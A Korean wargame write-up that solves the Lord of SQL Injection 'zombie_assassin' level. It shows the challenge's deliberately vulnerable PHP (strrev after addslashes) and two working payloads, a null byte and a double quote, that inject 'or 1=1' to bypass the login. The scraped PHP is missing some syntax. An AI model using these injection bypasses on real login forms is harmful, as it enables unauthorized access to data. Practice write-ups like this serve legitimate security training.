Oh! JUN

[Lord Of SQL Injection] 17번(더블쿼터, Nullbyte) 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 17번(더블쿼터, Nullbyte)

Kwon Oh! JUN 2022. 2. 5. 23:50

query : select id from prob_zombie_assassin where id='' and pw=''



<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();
  
$_GET['id'] = strrev(addslashes($_GET['id']));
  
$_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>

 


strrev() : 문자열을 거꾸로 출력시킨다. (apple -> elppa)

addslashes() : /슬래시 추가 

* DB를 실행시키기 위해서는 쿼리를 사용하는데 이때 '(작은따음표), "(큰따음표), \(역슬래시), nullbyte를 사용해서 문자열을 구분을 한다. 그런데 이것이 문자열 사이에 들어가게 되면 뜻하지 않은 오류가 발생할 수 있다. 그래서 이것들이 문자열 사이에 들어가 있으면 \(역슬래시)로 치환을 시켜준다음에 stripslashes() 함수를 사용해서 \를 제거해주면 오류를 제거 할 수 있다.   

 

쿼리문은 16번 문제랑 비슷한데 addslashes() 함수 때문에 \를 사용하게 되면 \\ 이렇게 되니까

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=
query : select id from prob_zombie_assassin where id='\\' and pw=''

\' and pw=만 문자열로 인식이 되고 앞에 '\는 안되니까 이 방법을 사용하는건 불가능하다.

 

그래서 다른 방법으로 문자열로 인식시켜야되는데 Nullbyte, 더블쿼터 방식이 있다.

 

 

★NullByte 방식

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php 

?id=%00&pw=%23%201=1%20ro

 

query : select id from prob_zombie_assassin where id='0\' and pw='or 1=1 #'


ZOMBIE_ASSASSIN Clear!



<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();
  
$_GET['id'] = strrev(addslashes($_GET['id']));
  
$_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>

 


 

★더블쿼터 방식

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php

?id=%22&pw=%23%201=1%20ro


query : select id from prob_zombie_assassin where id='"\' and pw='or 1=1 #'


 

ZOMBIE_ASSASSIN Clear!


<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();
  
$_GET['id'] = strrev(addslashes($_GET['id']));
  
$_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>